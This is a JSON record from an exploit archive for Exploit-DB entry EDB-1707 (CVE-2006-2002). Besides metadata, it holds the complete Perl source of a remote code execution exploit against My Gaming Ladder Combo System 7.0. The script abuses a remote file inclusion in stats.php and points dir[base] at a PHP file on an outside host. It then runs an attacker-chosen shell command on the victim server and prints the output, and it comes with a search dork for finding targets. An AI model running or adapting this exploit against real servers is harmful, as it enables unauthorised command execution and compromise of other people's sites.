{"exploit":{"id":"EDB-1707","name":"My Gaming Ladder Combo System 7.0 - Remote Code Execution (RCE)","description":"My Gaming Ladder Combo System 7.0 - Remote Code Execution (RCE)","cves":["CVE-2006-2002"],"author":"nukedx","published":"2006-04-22","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/1707","path":"exploits/php/webapps/1707.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-1707.pl","vulnerabilities":[{"id":"CVE-2006-2002","state":"PUBLISHED","title":null,"titleSource":null,"description":"PHP remote file inclusion vulnerability in stats.php in MyGamingLadder 7.0 allows remote attackers to execute arbitrary PHP code via a URL in the dir[base] parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-2002","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:N/I:P/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-2002"},"updatedAt":"2024-08-07T17:35:31.244Z","retrievedAt":"2026-11-27T05:12:15.339Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-1707.png?v=2","url":"https://exploitbin.com/exploits/EDB-1707","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-1707/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-1707/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n#Method found & Exploit scripted by nukedx\n#Contacts > ICQ: 10072 MSN/Main: nukedx@nukedx.com web: www.nukedx.com\n#Original advisory: http://www.nukedx.com/?viewdoc=28\n#Usage: ladder.pl <host> <path> <cmd>\n#Dork: \"Ladder Scripts by http://www.mygamingladder.com\" 40.500 pages.\nuse IO::Socket;\nif(@ARGV < 3) { usage(); }\nelse { exploit(); }\nsub header()\n{\n  print \"\\n- NukedX Security Advisory Nr.2006-28\\r\\n\";\n  print \"- My Gaming Ladder Combo System <= 7.0 Remote Command Execution Exploit\\r\\n\";\n}\nsub main::urlEncode {\n  my ($string) = @_;\n  $string =~ s/(\\W)/\"%\" . unpack(\"H2\", $1)/ge;\n  #$string# =~ tr/.//;\n  return $string;\n}\nsub usage()\n{\n  header();\n  print \"- Usage: $0 <host> <path> <cmd>\\r\\n\";\n  print \"- <host> -> Victim's host ex: www.victim.com\\r\\n\";\n  print \"- <path> -> Path to My Gaming Ladder ex: /ladder/\\r\\n\";\n  print \"- <cmd>  -> Command to execute ex: ls -la\\r\\n\";\n  print \"- This exploit needs allow_url_fopen set to 1 and register_globals on\\r\\n\";\n  exit();\n}\nsub exploit ()\n{\n  #Our variables...\n  $echoing  = \"\";\n  $ldserver = $ARGV[0];\n  $ldserver =~ s/(http:\\/\\/)//eg;\n  $ldhost   = \"http://\".$ldserver;\n  $lddir    = $ARGV[1];\n  $ldport   = \"80\";\n  $ldtar    = \"stats.php?dir[func]=&dir[base]=http://www.misssera.com.tr/old/rce.txt%3F&command=\";\n  $ldcmd    = \"\"; for ($i=2; $i<=$#ARGV; $i++) {$ldcmd.=\"%20\".urlEncode($ARGV[$i]);};\n  $ldreq    = $ldhost.$lddir.$ldtar.$ldcmd;\n  #Sending data...\n  header();\n  print \"- Trying to connect: $ldserver\\r\\n\";\n  $ld = IO::Socket::INET->new(Proto => \"tcp\", PeerAddr => \"$ldserver\", PeerPort => \"$ldport\") || die \"- Connection failed...\\n\";\n  print $ld \"GET $ldreq HTTP/1.1\\n\";\n  print $ld \"Accept: */*\\n\";\n  print $ld \"Referer: $ldhost\\n\";\n  print $ld \"Accept-Language: tr\\n\";\n  print $ld \"User-Agent: NukeZilla\\n\";\n  print $ld \"Cache-Control: no-cache\\n\";\n  print $ld \"Host: $ldserver\\n\";\n  print $ld \"Connection: close\\n\\n\";\n  print \"- Connected...\\r\\n\";\n  $echoing = \"No\";\n  while ($answer = <$ld>) {\n    if ($answer =~ /NukedX here/) { $echoing = \"Yes\"; }\n    if ($answer =~ /NukedX was here/) { print \"- End of results\\n\"; exit(); }\n    if ($echoing =~ /Yes/) {\n      if ($answer =~ /NukedX here/) { print \"- Command executed succesfully here is results\\r\\n\"; }\n      else { print \"$answer\"; }\n    }\n  }\n  #Exploit failed...\n  print \"- Exploit failed\\n\"\n}\n\n# milw0rm.com [2006-04-22]","sha256":"bcd80362e0f9aaa44fc2502fe17a36e03e4f5d44b220f3e176ad839332eb12a9","bytes":2375,"fetchedAt":"2026-11-27T05:12:13.619Z","encoding":"utf-8 (display only; download retains original bytes)"}